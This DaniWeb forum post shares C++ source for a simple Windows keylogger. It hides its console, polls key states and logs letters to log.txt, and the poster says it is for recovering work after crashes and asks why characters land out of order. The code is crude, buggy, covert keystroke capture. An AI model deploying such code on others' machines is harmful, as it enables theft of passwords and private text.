Ive made this keylogger because lately my computer crashes ALOT and it records keystrokes in real time, i thought that even if my computer crashes im not going to loose my work, only maybe that last 4 or 5 characters, but the log file gets written to in a seeminly random order because i type really fast, and to be honest, reordering the characters takes even longer than redoing half the work.

Can anyone help me? im going to top myself if i have to type out 3 or four paragraphs again :(

#include <stdio.h>
#include <windows.h>
#include<iostream>
#include <fstream>
#include <string>

using namespace std;

int main(){
    FreeConsole();
    string log;
    while(true){
      if(GetAsyncKeyState(0x41)){
           cout<<"a";
           log+="a";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x42)){
           cout<<"b";
           log+="b";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x43)){
           cout<<"c";
           log+="c";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x44)){
           cout<<"d";
           log+="d";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(0x45)){
           cout<<"e";
           log+="e";
           Sleep(200);                      
      };      
     
      if(GetAsyncKeyState(0x46)){
           cout<<"f";
           log+="f";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x47)){
           cout<<"g";
           log+="g";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x48)){
           cout<<"h";
           log+="h";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x49)){
           cout<<"i";
           log+="i";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4a)){
           cout<<"j";
           log+="j";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4b)){
           cout<<"k";
           log+="k";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4c)){
           cout<<"l";
           log+="l";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4d)){
           cout<<"m";
           log+="m";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4e)){
           cout<<"n";
           log+="n";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x4f)){
           cout<<"o";
           log+="o";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x50)){
           cout<<"p";
           log+="p";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(0x51)){
           cout<<"q";
           log+="q";
           Sleep(200);                      
      };  
           if(GetAsyncKeyState(0x52)){
           cout<<"r";
           log+="r";
           Sleep(200);                      
      };
      if(GetAsyncKeyState(0x53)){
           cout<<"s";
           log+="s";
           Sleep(200);                      
      };  
      if(GetAsyncKeyState(0x54)){
           cout<<"t";
           log+="t";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x55)){
           cout<<"u";
           log+="u";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x56)){
           cout<<"v";
           log+="v";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x57)){
           cout<<"w";
           log+="w";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x58)){
           cout<<"x";
           log+="x";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x59)){
           cout<<"y";
           log+="y";
           Sleep(200);                      
      };      
      if(GetAsyncKeyState(0x5A)){
           cout<<"z";
           log+="z";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(VK_SPACE)){
           cout<<"_";
           log+="_";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(0x6E)){
           cout<<".";
           log+=".";
           Sleep(200);                      
      }; 
      if(GetAsyncKeyState(0x0d)){
           cout<<"/n";
           log+="<br>";
           Sleep(200);                      
      };       
      
      
           
  ofstream myfile;
  myfile.open ("log.txt");
  myfile << log;
  myfile.close();
  
};

}

Changed this peice of code so it responds to newlines better.

if(GetAsyncKeyState(0x0d)){
           cout<<"/n";
           log+="\n";
           Sleep(200);                      
      };

i solved the issue slightly by reducing the sleep time to 120

i also tied this value into a variable, because it sucked swapping every one to 120

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.